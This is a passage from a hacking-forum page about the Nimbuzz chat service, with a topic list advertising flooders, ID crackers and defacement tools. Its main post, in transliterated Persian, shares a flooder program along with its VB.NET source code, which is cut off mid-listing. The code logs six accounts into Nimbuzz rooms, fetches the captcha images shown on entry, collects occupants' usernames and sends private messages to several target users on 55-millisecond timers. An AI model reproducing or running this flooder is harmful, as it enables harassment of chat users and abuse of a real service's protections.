๑۩۞۩๑FreebuzZ๑۩۞۩๑
hi GUEST!!!!!!!!!!!

Welcome to FreeBuzz Team

Please register to have full access to the forum and be able to download stuff., stay with us..
lotfan baraye estefade az in anjoman site sabtenam konid baraye sabtenam kare shakhi lazem ni bokoni faghat miazni register sabtenam mikoni niazi be linke activate az email nis bad login mikoni
cheers
FreeBuzZ TeaM !

Bl4ck W4rning
Latest topics
» Join MulTi id nimbuzz 2016
by sami-alarifi Mon Dec 05, 2016 3:09 am

» فریباز دوباره برمیگردد
by FreeBuzz Sat Dec 03, 2016 9:25 pm

» انجمن تیم امنیتی آنانیموس سکوریتی
by shirsefat Thu Nov 17, 2016 6:12 pm

» Xio Server Latest Version
by shirsefat Thu Nov 17, 2016 6:04 pm

» amooZesh kamele hack dar yek file pdf
by shirsefat Fri Nov 11, 2016 2:23 am

» CRACKER IDS 2017 WORKING
by abdo-osmana Sat Oct 29, 2016 1:43 am

» NEW ... ROOM ANTI CAPCHA 2017 DESTROY ROOMS V 4 BY AL-JOOOCKER@N.C
by abdo-osmana Sat Oct 29, 2016 1:41 am

» NEW FLOOD ROOM AND PV 2017 ANTI CAPTCHA
by abdo-osmana Sat Oct 29, 2016 1:30 am

» add new server Work 24 hours --- تحديث حسابات السيرفرات قم بــاضافه السيرفرات الجديده تعمل 24 ساعه
by abdo-osmana Sat Oct 29, 2016 1:28 am

» new id makeer witout captcha صانع نكات فلود جديد بعد التحديق تلقائي بدون كابتشا بعدد غير محدود
by abdo-osmana Sat Oct 29, 2016 1:26 am

» badbuzz advertiser bot - version one
by abdo-osmana Sat Oct 29, 2016 1:25 am

» Addlist DC + hanger With Remote v1.0
by sandy_rawat Thu Oct 06, 2016 3:44 pm

» new auto id maker
by sandy_rawat Tue Oct 04, 2016 4:24 pm

» wonderful list id arbic for crucker اكبر ليستة ايملات تخمين جديدة
by christian777 Sun Sep 25, 2016 12:59 am

» New Abdo Cobra Auto Id maker Source code working
by Kash007 Sat Sep 24, 2016 10:26 pm

» oon ghadima!!!
by ras0l Mon Sep 19, 2016 12:38 am

» 2000 id flood free
by christian777 Sun Sep 18, 2016 3:54 am

» new ip address changer with crack@pishaash@n.c
by cebecis Sat Sep 10, 2016 3:19 am

» تجسس على الخصوصية
by majed5160 Thu Aug 25, 2016 3:26 am

» سلام دوستان من
by majed5160 Wed Aug 24, 2016 3:10 am

» Trusted online server bots
by bom Fri Aug 19, 2016 7:59 pm

» فلود جديد ناررررر
by christian777 Sat Aug 13, 2016 10:12 am

» Receive Captcha in PVT C# and VB.NET source code available
by wathk Thu Jul 28, 2016 3:01 am

» Attention nimbuzz users !
by -namakul- Tue Jul 26, 2016 8:27 pm

» Salam man az karbqraye qadimiton hastam lotfan komakam konid :(
by SALIJON* Sat Jul 23, 2016 6:34 pm

» Nimbuzz stylish ids for sale
by msb Wed Jul 20, 2016 12:33 pm

» Nuke Mobileserver V9
by launchar Tue Jul 19, 2016 1:51 pm

» help me please c sharp masters
by launchar Tue Jul 19, 2016 1:39 pm

» Jokes auto maker Floood
by faris.jra7 Thu Jul 14, 2016 11:26 pm

» salam be dostane qadimi hamgi join bedin bebinm kojain :P
by ghaz_ghaz90 Sat Jul 09, 2016 12:22 am

» Xio Server Update
by ghaz_ghaz90 Fri Jul 08, 2016 11:15 pm

» Xio Auto Capcha ID Maker ( FASTEST IDMAKER EVER)
by karthik~ajay Thu Jul 07, 2016 10:59 pm

» TOF Room Private Flooder 2016 [LATEST]
by gcfloooder Mon Jul 04, 2016 1:20 pm

» TOF TrapDoor DisConnector Room Flooder Beta | Best Room Flood Ever
by gcfloooder Sun Jul 03, 2016 7:28 am

» New Black Mamba captcha Flooder Easy Method Flooding & Fast
by airtel Sat Jun 25, 2016 9:27 am

» Very Fastest & Ip Changer SUpport Flood Soft Ever [ black mamba ]*DC* Android Users
by airtel Sat Jun 25, 2016 7:44 am

» All web defacers and SQLi hach
by mitu143 Thu Jun 16, 2016 1:24 pm

» special daface pages FreeBuzz-Team
by mitu143 Thu Jun 16, 2016 12:59 pm

» freebuzz id maker
by sandy_rawat Wed Jun 15, 2016 7:26 pm

» Meet A Stranger Room Advertizer BoT
by lekshmi321 Sun Jun 05, 2016 5:14 pm

» Automatic ID Maker Source Code In C#
by oye Fri May 20, 2016 3:08 pm

» TOF ROOM DESTROYER V7.0 | 20 IDS Captcha Flooder By th0ufeer
by bom Sun May 01, 2016 11:25 am

» flood sakr syria 0.2
by star.iraq Fri Apr 29, 2016 3:46 pm

» flood cobra build 2
by star.iraq Wed Apr 27, 2016 11:10 pm

» TOF Virtual DisConnector [ DC, Fast Private Hanger, Invite Flooder]
by gcfloooder Wed Apr 27, 2016 10:08 am

» TOF Auto Room Flooder 2016 -Manual Captcha Coded By th0ufeer@Nimbuzz.Com
by gcfloooder Wed Apr 27, 2016 10:06 am

» NEW STEALTH PROJECT WEB FLOOD NIMBUZZ
by gentarbumi Sun Apr 24, 2016 10:08 pm

» Moving the write using HTML تحريك الكتابة باستخدام جافا سكرييت
by faris.jra7 Sat Apr 23, 2016 11:40 pm

» فلود غرف النيمباز
by saeid Sat Apr 16, 2016 12:43 am

» How to Show Hidden Files and Folders In Windows 7
by i_am~the_best Fri Apr 15, 2016 8:45 am

Search
 
 

Display results as :
 


Rechercher Advanced Search

Frb Upload Center



Freebuzz hidden room user pv flooder . soft and code

View previous topic View next topic Go down

GMT + 3 Hours Freebuzz hidden room user pv flooder . soft and code

Post by Zἔὄմʂ on Fri Nov 01, 2013 7:43 pm

ba salam be hameye dustan

omid varam khoobo salamt bashid

hamontor ke gofte boodam vere badie pv floodo edame midam va hamin karam kardam ama ba in tafavot ke tedade idha bishtar shode
1-yani idhayi bishtari mitoni login va varede room koni
2-tedade target ha bishtar shode yani shoma mitonid ba 6 ta id be 5 ta target pv flood bedid
3- speedesh sar sam avar shode Very Happy
ziad vaghtetono nemigiram tozihate bishtar dar dakhele khode soft ghesmate help hast
ax1:
ax2:
ax3:
ax4:

inam codeshe mizaram vase yad giri
Code:
Imports agsXMPP
Imports System.IO
Imports agsXMPP.Xml.Dom
Imports agsXMPP.protocol.client
Imports System.Text
    Public Class Form1
        Dim ersi1 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection
        Dim ersi2 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection
        Dim ersi3 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection
        Dim ersi4 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection
        Dim ersi5 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection
        Dim ersi6 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        With ersi1
            .Server = "nimbuzz.com"
            .ConnectServer = "o.nimbuzz.com"
            .Open(TextBox1.Text, TextBox7.Text)
            .Resource = "Nimbuzz_Symbian145987"
            AddHandler .OnLogin, AddressOf loged1
            AddHandler .OnReadXml, AddressOf Xml1
            AddHandler .OnAuthError, AddressOf wrong1
            AddHandler .OnClose, AddressOf dc1
        End With
        With ersi2
            .Server = "nimbuzz.com"
            .ConnectServer = "o.nimbuzz.com"
            .Open(TextBox2.Text, TextBox7.Text)
            .Resource = "Nimbuzz_MIDP4994"
            AddHandler .OnLogin, AddressOf loged2
            AddHandler .OnReadXml, AddressOf Xml2
            AddHandler .OnAuthError, AddressOf wrong2
            AddHandler .OnClose, AddressOf dc2
        End With
        With ersi3
            .Server = "nimbuzz.com"
            .ConnectServer = "o.nimbuzz.com"
            .Open(TextBox3.Text, TextBox7.Text)
            .Resource = "Android4994"
            AddHandler .OnLogin, AddressOf loged3
            AddHandler .OnReadXml, AddressOf Xml3
            AddHandler .OnAuthError, AddressOf wrong3
            AddHandler .OnClose, AddressOf dc3
        End With
        With ersi4
            .Server = "nimbuzz.com"
            .ConnectServer = "o.nimbuzz.com"
            .Open(TextBox4.Text, TextBox7.Text)
            .Resource = "Nimbuzz_MIDP4994"
            AddHandler .OnLogin, AddressOf loged4
            AddHandler .OnReadXml, AddressOf Xml4
            AddHandler .OnAuthError, AddressOf wrong4
            AddHandler .OnClose, AddressOf dc4
        End With
        With ersi5
            .Server = "nimbuzz.com"
            .ConnectServer = "o.nimbuzz.com"
            .Open(TextBox5.Text, TextBox7.Text)
            .Resource = "Nimbuzz_MIDP4994"
            AddHandler .OnLogin, AddressOf loged5
            AddHandler .OnReadXml, AddressOf Xml5
            AddHandler .OnAuthError, AddressOf wrong5
            AddHandler .OnClose, AddressOf dc5
        End With
        With ersi6
            .Server = "nimbuzz.com"
            .ConnectServer = "o.nimbuzz.com"
            .Open(TextBox6.Text, TextBox7.Text)
            .Resource = "Nimbuzz_MIDP4994"
            AddHandler .OnLogin, AddressOf loged6
            AddHandler .OnReadXml, AddressOf Xml6
            AddHandler .OnAuthError, AddressOf wrong6
            AddHandler .OnClose, AddressOf dc6
        End With
    End Sub
    Private Sub loged1(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged1), New Object() {sender})
        Else
            TextBox1.BackColor = Color.LightSeaGreen

        End If

    End Sub
    Private Sub wrong1(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong1), New Object() {sender, e})
        Else

            TextBox1.BackColor = Color.Red

        End If
    End Sub
    Private Sub dc1(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc1), New Object() {sender})
        Else
            TextBox1.BackColor = Color.Pink

        End If
    End Sub
    Private Sub Xml1(ByVal sender As Object, ByVal a As String)
        On Error Resume Next
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml1), New Object() {sender, a})
        Else

        End If
        a = Replace(a, """", "'")
        If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then
            Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48)
            msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1)
            PictureBox1.Load(msg)
        End If
        If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then
            TextBox11.BackColor = Color.Red
            MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi")
            ersi1.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox11.Text + "'/>")
            TextBox7.BackColor = Color.White
        End If
        If (InStr(a, "code='301'")) Then
            MsgBox("id 1 banned in room")
        End If
        If (InStr(a, "affiliation=")) <> 0 Then
            If Not (InStr(a, "type='groupchat'")) <> 0 Then
                If Not (InStr(a, "role='none'")) <> 0 Then
                    If Not (InStr(a, "actor jid=")) <> 0 Then
                        Dim user As String
                        user = a.Substring(a.IndexOf("jid='") + 5)
                        user = user.Substring(0, user.IndexOf("@") - 0)

                        If user.ToString = "admin" Or user.ToString = TextBox8.Text Or user.ToString = TextBox1.Text Or user.ToString = TextBox2.Text Or user.ToString = TextBox2.Text Or user.ToString = TextBox3.Text Or user.ToString = TextBox4.Text Or user.ToString = TextBox5.Text Then
                            Return
                        End If
                        ListBox1.Items.Add(user)
                    End If
                End If
            End If
        End If

    End Sub
    Private Sub loged2(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged2), New Object() {sender})
        Else
            TextBox2.BackColor = Color.LightSeaGreen

        End If

    End Sub
    Private Sub loged3(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged3), New Object() {sender})
        Else
            TextBox3.BackColor = Color.LightSeaGreen

        End If

    End Sub
    Private Sub loged4(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged4), New Object() {sender})
        Else
            TextBox4.BackColor = Color.LightSeaGreen

        End If

    End Sub
    Private Sub loged5(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged5), New Object() {sender})
        Else
            TextBox5.BackColor = Color.LightSeaGreen

        End If

    End Sub
    Private Sub loged6(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged6), New Object() {sender})
        Else
            TextBox6.BackColor = Color.LightSeaGreen

        End If

    End Sub
    Private Sub wrong2(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong2), New Object() {sender, e})
        Else

            TextBox2.BackColor = Color.Red

        End If
    End Sub
    Private Sub wrong3(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong3), New Object() {sender, e})
        Else

            TextBox3.BackColor = Color.Red

        End If
    End Sub
    Private Sub wrong4(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong4), New Object() {sender, e})
        Else

            TextBox4.BackColor = Color.Red

        End If
    End Sub
    Private Sub wrong5(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong5), New Object() {sender, e})
        Else

            TextBox5.BackColor = Color.Red

        End If
    End Sub
    Private Sub wrong6(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong6), New Object() {sender, e})
        Else

            TextBox6.BackColor = Color.Red

        End If
    End Sub
    Private Sub dc2(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc2), New Object() {sender})
        Else
            TextBox2.BackColor = Color.Pink

        End If
    End Sub
    Private Sub dc3(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc3), New Object() {sender})
        Else
            TextBox3.BackColor = Color.Pink

        End If
    End Sub
    Private Sub dc4(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc4), New Object() {sender})
        Else
            TextBox4.BackColor = Color.Pink

        End If
    End Sub
    Private Sub dc5(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc5), New Object() {sender})
        Else
            TextBox5.BackColor = Color.Pink

        End If
    End Sub
    Private Sub dc6(ByVal sender As Object)
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc6), New Object() {sender})
        Else
            TextBox6.BackColor = Color.Pink

        End If
    End Sub
    Private Sub Xml2(ByVal sender As Object, ByVal a As String)
        On Error Resume Next
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml2), New Object() {sender, a})
        Else

        End If
        a = Replace(a, """", "'")
        If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then
            Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48)
            msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1)
            PictureBox2.Load(msg)
        End If
        If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then
            TextBox12.BackColor = Color.Red
            MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi")
            ersi2.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox12.Text + "'/>")
            TextBox7.BackColor = Color.White
        End If
        If (InStr(a, "code='301'")) Then
            MsgBox("id 2 banned in room")
        End If
    End Sub
    Private Sub Xml3(ByVal sender As Object, ByVal a As String)
        On Error Resume Next
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml3), New Object() {sender, a})
        Else

        End If
        a = Replace(a, """", "'")
        If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then
            Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48)
            msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1)
            PictureBox3.Load(msg)
        End If
        If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then
            TextBox13.BackColor = Color.Red
            MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi")
            ersi3.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox13.Text + "'/>")
            TextBox7.BackColor = Color.White
        End If
        If (InStr(a, "code='301'")) Then
            MsgBox("id 3 banned in room")
        End If
    End Sub
    Private Sub Xml4(ByVal sender As Object, ByVal a As String)
        On Error Resume Next
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml4), New Object() {sender, a})
        Else

        End If
        a = Replace(a, """", "'")
        If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then
            Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48)
            msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1)
            PictureBox4.Load(msg)
        End If
        If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then
            TextBox14.BackColor = Color.Red
            MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi")
            ersi4.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox14.Text + "'/>")
            TextBox7.BackColor = Color.White
        End If
    End Sub
    Private Sub Xml5(ByVal sender As Object, ByVal a As String)
        On Error Resume Next
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml5), New Object() {sender, a})
        Else

        End If
        a = Replace(a, """", "'")
        If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then
            Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48)
            msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1)
            PictureBox5.Load(msg)
        End If
        If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then
            TextBox15.BackColor = Color.Red
            MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi")
            ersi5.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox15.Text + "'/>")
            TextBox7.BackColor = Color.White
        End If
    End Sub
    Private Sub Xml6(ByVal sender As Object, ByVal a As String)
        On Error Resume Next
        If MyBase.InvokeRequired = True Then
            MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml6), New Object() {sender, a})
        Else

        End If
        a = Replace(a, """", "'")
        If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then
            Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48)
            msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1)
            PictureBox6.Load(msg)
        End If
        If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then
            TextBox16.BackColor = Color.Red
            MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi")
            ersi6.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox16.Text + "'/>")
            TextBox7.BackColor = Color.White
        End If
        If (InStr(a, "code='301'")) Then
            MsgBox("id 6 banned in room")
            End If
    End Sub
    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
        ersi1.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox11.Text + "</body></message>")
        TextBox7.Text = ""
    End Sub
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        ersi1.Close()
        ersi2.Close()
        ersi3.Close()
        ersi4.Close()
        ersi5.Close()
        ersi6.Close()
    End Sub
    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        ersi1.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />")
        ersi2.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />")
        ersi3.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />")
        ersi4.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />")
        ersi5.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />")
        ersi6.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />")
    End Sub
    Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
        ersi1.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox12.Text + "</body></message>")
        TextBox12.Text = ""
    End Sub
    Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
        ersi2.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox13.Text + "</body></message>")
        TextBox13.Text = ""
    End Sub
    Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click
        ersi3.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox14.Text + "</body></message>")
        TextBox14.Text = ""
    End Sub
    Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
        ersi4.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox15.Text + "</body></message>")
        TextBox15.Text = ""
    End Sub
    Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click
        ersi5.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox16.Text + "</body></message>")
        TextBox16.Text = ""
    End Sub
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        ersi1.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox1.Text + "'/>")
        ersi2.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox2.Text + "'/>")
        ersi3.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox3.Text + "'/>")
        ersi4.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox4.Text + "'/>")
        ersi5.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox5.Text + "'/>")
        ersi6.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox6.Text + "'/>")
    End Sub
    Private Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.Click
        Timer1.Interval = "55"
        Timer1.Enabled = True
        Timer2.Interval = "55"
        Timer2.Enabled = True
        Timer4.Interval = "55"
        Timer4.Enabled = True
        Timer5.Enabled = True
        Timer5.Interval = "55"
        Timer6.Enabled = True
        Timer6.Interval = "55"
        Timer7.Enabled = True
        Timer7.Interval = "55"
        Timer8.Enabled = True
        Timer8.Interval = "55"
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        ersi1.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi2.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi3.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi4.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi5.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi6.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")

        ersi1.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi2.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi3.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi4.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi5.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi6.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")

        ersi1.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi2.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi3.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi4.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi5.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi6.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")

        ersi1.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
